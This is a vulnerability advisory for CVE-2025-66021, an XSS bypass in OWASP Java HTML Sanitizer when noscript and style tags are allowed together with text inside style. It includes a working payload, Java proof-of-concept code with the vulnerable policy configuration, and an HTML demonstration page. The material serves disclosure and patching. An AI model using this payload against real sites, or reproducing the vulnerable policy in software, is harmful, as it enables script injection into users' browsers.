GHSA-g9gq-3pfx-2gw2

Опубликовано: 25 нояб. 2025

Источник: github

Github: Прошло ревью

CVSS4: 8.6

Описание

OWASP Java HTML Sanitizer is vulnerable to XSS via noscript tag and improper style tag sanitization

Summary

It is observed that OWASP java html sanitizer is vulnerable to XSS if HtmlPolicyBuilder allows noscript and style tags with allowTextIn inside the style tag. This could lead to XSS if the payload is crafted in such a way that it does not sanitise the CSS and allows tags which is not mentioned in HTML policy.

Details

The OWASP java HTML sanitizer is vulnerable to XSS. This only happens when HtmlPolicyBuilder allows noscript & style tag with allowTextIn inside style tags.

The following condition is very edge case but if users combine a HtmlPolicyBuilder with any other tags except noscript and allow style tag with allowTextIn inside the style tag then In this case sanitizer would be safe from XSS. This happens because how the browser also perceives noscript tags post sanitization.

PoC

Lets create a HtmlPolicyBuilder which allows p, noscript, style html tags and allows .allowTextIn("style").
There are two XSS payloads which very identical and only difference is one has p tag and other has noscript tag. These payload have script tags that could be vulnerable to XSS and should be stripped out after sanitisation.

1. <noscript><style></noscript><script>alert(1)</script> 2. <p><style></p><script>alert(1)</script>

Run the following piece of code which sanitizes the payload.

public class main { private static final String ALLOWED_HTML_TAGS = "p, noscript, style"; /** * Description of vulnerability : * The OWASP Sanitizer sanitize the user inputs w.r.t to defined whitelisted HTML tags. * However, if script tags is not allowed in the HTML element policy yet it can lead to XSS in edge cases. */ public static void main(String[] args) { withAllowedTextAndStyleTag(); } /** * Test case : Vulnerable to XSS */ public static void withAllowedTextAndStyleTag() { HtmlPolicyBuilder htmlPolicyBuilder = new HtmlPolicyBuilder(); PolicyFactory policy = htmlPolicyBuilder .allowElements(ALLOWED_HTML_TAGS.split("\\s*,\\s*")) .allowTextIn("style") .toFactory(); String untrustedHTMLOne = "<noscript><style></noscript><script>alert(1)</script>"; String untrustedHTMLTwo = "<p><style></p><script>alert(1)</script>"; System.out.println("PAYLOAD: " + untrustedHTMLOne +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLOne)); System.out.println("PAYLOAD: " + untrustedHTMLTwo +"\nSANITIZED OUTPUT: " + policy.sanitize(untrustedHTMLTwo)); } }

Use the latest library version

<dependency> <groupId>com.googlecode.owasp-java-html-sanitizer</groupId> <artifactId>owasp-java-html-sanitizer</artifactId> <version>20240325.1</version> </dependency>

Output of the POC code should look like this

PAYLOAD: <noscript><style></noscript><script>alert(1)</script> SANITIZED OUTPUT: <noscript><style></noscript><script>alert(1)</script></style></noscript> PAYLOAD: <p><style></p><script>alert(1)</script> SANITIZED OUTPUT: <p><style></p><script>alert(1)</script></style></p>

Lets understand what happened in sanitization process below

--------------------------| --> anything after style tag is cosidered as CSS and not sanitized PAYLOAD: <noscript><style> {</noscript><script>alert(1)</script>} -> CSS -----------------------------------| --> after sanitization, payload in script tag remained same and style and noscript tags is closed. SANITIZED OUTPUT: <noscript><style>{</noscript><script>alert(1)</script>}</style></noscript> -------------------| --> anything after style tag is cosidered as CSS and not sanitized PAYLOAD: <p><style></p>{<script>alert(1)</script>} -> CSS --------------------------- | --> after sanitization payload in script tag remained same and style and p tags is closed. SANITIZED OUTPUT: <p><style>{</p><script>alert(1)</script>}</style></p>

Lets create a sample html page and copy both sanitized output which should be generated in step 5

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>POC OF SANITIZER OUTPUT</title> </head> <body>  <noscript><style></noscript><script>alert(1)</script></style></noscript>  <p><style></p><script>alert(1)</script></style></p> </body> </html>

Open this HTML page in the browser it should pop an alert.

Alt text

Open inspect element to understand what happened. If users look closely a payload combined with p tag and style tag did not cause XSS and browser percived anything after style tag as CSS.

SAFE from XSS

The payload which combined with noscript tag and style tag did caused XSS. The broswer perceived noscript and which wrapped style tag then closed noscript tag and after that script payload is considered as valid HTML tag and it executed in browser and this leads to XSS because this is very different then what happened in the last example with p tag.

XSS POC

Impact

This potentially could leads to XSS in applications. Ref : https://owasp.org/www-community/attacks/xss/

Ссылки

Пакеты

Наименование

com.googlecode.owasp-java-html-sanitizer:owasp-java-html-sanitizer

maven

Затронутые версииВерсия исправления

= 20240325.1

20260101.1

EPSS

Процентиль: 3%

0.00017

Низкий

8.6 High

CVSS4

CVE ID

CVE-2025-66021

Дефекты

CWE-79

Связанные уязвимости

CVE-2025-66021

CVSS3: 6.1

nvd

2 месяца назад

OWASP Java HTML Sanitizer is a configureable HTML Sanitizer written in Java, allowing inclusion of HTML authored by third-parties in web applications while protecting against XSS. In version 20240325.1, OWASP java html sanitizer is vulnerable to XSS if HtmlPolicyBuilder allows noscript and style tags with allowTextIn inside the style tag. This could lead to XSS if the payload is crafted in such a way that it does not sanitise the CSS and allows tags which is not mentioned in HTML policy. At time of publication no known patch is available.

EPSS

Процентиль: 3%

0.00017

Низкий

8.6 High

CVSS4

CVE ID

CVE-2025-66021

Дефекты

CWE-79